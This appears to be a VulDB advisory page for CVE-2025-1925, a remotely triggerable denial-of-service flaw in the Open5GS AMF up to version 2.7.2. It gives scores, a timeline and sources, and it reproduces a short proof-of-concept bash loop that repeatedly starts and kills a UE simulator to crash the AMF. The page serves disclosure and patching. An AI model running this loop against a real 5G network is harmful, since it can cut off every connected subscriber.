Open5GS up to 2.7.2 AMF src/amf/nsmf-handler.c amf_nsmf_pdusession_handle_update_sm_context denial of service

Summaryinfo

A vulnerability was found in Open5GS up to 2.7.2. It has been classified as problematic. The affected element is the function amf_nsmf_pdusession_handle_update_sm_context of the file src/amf/nsmf-handler.c of the component AMF. This manipulation causes denial of service. This vulnerability appears as CVE-2025-1925. The attack may be initiated remotely. In addition, an exploit is available. It is suggested to install a patch to address this issue.

Detailsinfo

A vulnerability classified as problematic was found in Open5GS up to 2.7.2. Affected by this vulnerability is the function amf_nsmf_pdusession_handle_update_sm_context of the file src/amf/nsmf-handler.c of the component AMF. The manipulation with an unknown input leads to a denial of service vulnerability. The CWE definition for the vulnerability is CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. As an impact it is known to affect availability. According to 3GPP TS 23.501, AMF provides essential services such as UE registration, mobility management, security management, and PDU session coordination for all connected UEs.

The weakness was presented by Hao Zheng, Wei Guo, Yuanhao Li, Qiang Fu and Jiajia Liu. The advisory is shared at github.com. This vulnerability is known as CVE-2025-1925. The exploitation appears to be easy. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details and also a public exploit are known. MITRE ATT&CK project uses the attack technique T1499 for this issue. This vulnerability allows a single UE to crash the AMF, resulting in the complete loss of mobility and session management services and causing a network-wide outage. All registered UEs will lose connectivity, and new registrations will be blocked until the AMF is restarted, leading to a high availability impact.

It is possible to download the exploit at github.com. It is declared as proof-of-concept. The code used by the exploit is:

#!/bin/bash
while true; do
    sudo ./nr-ue -c ../config/open5gs-ue1.yaml > output.log 2>&1 &
    process_pid=$!

   
    sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0.6 + rand() * 0.9}')
    sleep "$sleep_time"

    kill $process_pid

    
    sleep_time=$(awk -v seed="$RANDOM" 'BEGIN {srand(seed); print 0.1 + rand() * 0.9}')
    sleep "$sleep_time"
done

Applying a patch is able to eliminate this problem.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Name

Version

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CNA CVSS-B Score: 🔍
CNA CVSS-BT Score: 🔍
CNA Vector: 🔍

CVSSv3info

VulDB Meta Base Score: 6.4
VulDB Meta Temp Score: 6.1

VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍

Researcher Base Score: 7.5
Researcher Vector: 🔍

NVD Base Score: 7.5
NVD Vector: 🔍

CNA Base Score: 5.3
CNA Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Denial of service
CWE: CWE-404
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Patch
Status: 🔍

0-Day Time: 🔍

Timelineinfo

03/04/2025 🔍
03/04/2025 +0 days 🔍
09/07/2025 +187 days 🔍

Sourcesinfo

Product: github.com

Advisory: github.com
Researcher: Hao Zheng, Wei Guo, Yuanhao Li, Qiang Fu, Jiajia Liu
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2025-1925 (🔍)
GCVE (CVE): GCVE-0-2025-1925
GCVE (VulDB): GCVE-100-298513
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 03/04/2025 09:56 AM
Updated: 09/07/2025 04:42 PM
Changes: 03/04/2025 09:56 AM (57), 03/04/2025 02:10 PM (2), 03/04/2025 02:11 PM (13), 03/04/2025 02:14 PM (3), 06/23/2025 05:47 PM (40), 09/07/2025 04:42 PM (1)
Complete: 🔍
Submitter: EnginerStaticPower
Committer: EnginerStaticPower
Cache ID: 244::40

Submitinfo

Accepted

  • Submit #506038: Open5GS <=v2.7.2 Denial of Service (by EnginerStaticPower)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion

No comments yet. Languages: en.

Please log in to comment.

Do you need the next level of professionalism?

Upgrade your account now!